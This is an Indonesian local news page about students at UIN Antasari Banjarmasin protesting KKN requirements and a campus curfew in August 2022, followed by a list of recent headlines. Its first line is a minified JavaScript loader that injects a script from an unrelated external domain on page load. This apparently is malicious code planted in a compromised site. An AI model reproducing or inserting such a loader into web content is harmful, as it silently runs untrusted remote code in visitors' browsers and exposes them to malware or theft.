(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Protes Syarat KKN dan Jam Malam Kampus, DEMA UIN Antasari Gelar Demo di Rektorat


KANALKALIMANTAN.COM, BANJARMASIN – Puluhan mahasiswa yang tergabung Dewan Mahasiswa Eksekutif (DEMA) UIN Antasari Banjarmasin melakukan aksi di depan Rektorat UIN Antasari Banjarmasin Jalan A. Yani Km 4,5 pada Selasa (2/8/2022).

Aksi DEMA UIN Antasari dipicu beratnya persyaratan yang ditetapkan kampus kepada mahasiswa untuk menempuh Kuliah Kerja Nyata (KKN) yang merupakan salah satu kewajiban mahasiswa.

Salah satu dari beberapa syarat KKN yang menurut mahasiswa memberatkan mereka yaitu sudah harus melaksanakan seminar proposal skripsi berdasarkan SK Rektor No.390 Tahun 2022 tentang Pedoman Akademik UIN Antasari Banjarmasin.

Sementara itu point tuntutan lainnya yaitu mengenai kebebasan mahasiswa yang selama ini dibatasi oleh pihak kampus. Di antaranya masih diberlakukan jam malam di lingkungan kampus sehingga mahasiswa tidak dapat bebas melakukan kegiatan kampus pada malam hari.

 

Baca juga  : BPK Ankesa HSU Terima Hadiah Lomba Ketangkasan BPK Se Kalsel

Ketua Umum DEMA UIN Antasari Yogi Ilmawan mengatakan bahwa masukan-masukan yang mereka berikan tidak pernah digubris oleh pihak rektorat/kampus.

“Kami sudah sering melakukan audiensi untuk mengutarakan keresahan mahasiswa, tapi tidak pernah diakomodir,” katanya.

Sempat terjadi bersitegang antara masa aksi dengan pihak perwakilan rektorat ketika masa DEMA menginginkan Rektor UIN Antasari menemui mereka langsung agar mendengarkan tuntutan mereka.

Sementara itu Wakil Rektor  Kemahasiswaan yang menemui masa mengatakan bahwa pihak rektorat bersedia melakukan dialog bersama perwakilan mahasiswa untuk mencari solusi.

 

Baca juga  : Bupati Saidi Mansyur Melantik Dua Pejabat Baru di Disdukcapil Banjar

“Kalau ingin bertemu dengan Pak Rektor, beliau telah mempersiapkan diri bertemu dengan perwakilan kalian,” katanya.

Aksi berakhir dengan difasilitasinya perwakilan Dema untuk bertemu dengan rektor dan melakukan dialog di Auditorium Kampus UIN Antasari Banjarmasin.

Dari hasil dialog, pihak rektorat akan memberikan keringan terkait persyaratan KKN dari yang awalnya harus melampirkan surat telah seminar skripsi menjadi hanya melampirkan surat telah memasukan Proposal Skripsi ke biro skripsi dan pemberlakuan SK rektor No.390 Tahun 2022 tentang Pedoman Akademik UIN Antasari Banjarmasin ditunda untuk sementara selama sosialisasi berlangsung.(kanalkalimantan.com/rizki)

Reporter : rizki
Editor : cell


Desy Arfianty

Recent Posts

Pemerintah Kabupaten Banjar Gelar Sosialisasi Core Values ASN BerAKHLAK

KANALKALIMANTAN.COM, BANJARBARU - Wakil Bupati Banjar Habib Idrus Al Habsyi saat membuka Sosialisasi Core Values… Read More

2 jam ago

Launching Calendar of Event 2025, Ini Harapan Bupati Banjar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar melakukan Peluncuran Calendar of Event 2025 yang mencakup berbagai… Read More

2 jam ago

Koordinator Posko Tim Banjarbaru Hanyar Diancam Dihabisi, Dikirimi Dua Surat Kaleng

KANALKALIMANTAN.COM, BANJARMASIN - Tim Banjarbaru Haram Manyarah (Hanyar) yang mengawal hasil Pemilihan Wali Kota dan… Read More

3 jam ago

KPU Banjarbaru Siap Hadapi Gugatan MK

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru mengaku siap menghadapi proses gugatan yang… Read More

8 jam ago

Original Series V+ PayLater: Amanda Manopo Terjerat Hutang Pinjaman Online Puluhan Juta

KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More

10 jam ago

Sowan ke Bakti Kementerian Komdigi, Komisi II dan Diskominfo Kotabaru Perjuangkan Akses Internet

KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More

10 jam ago

This website uses cookies.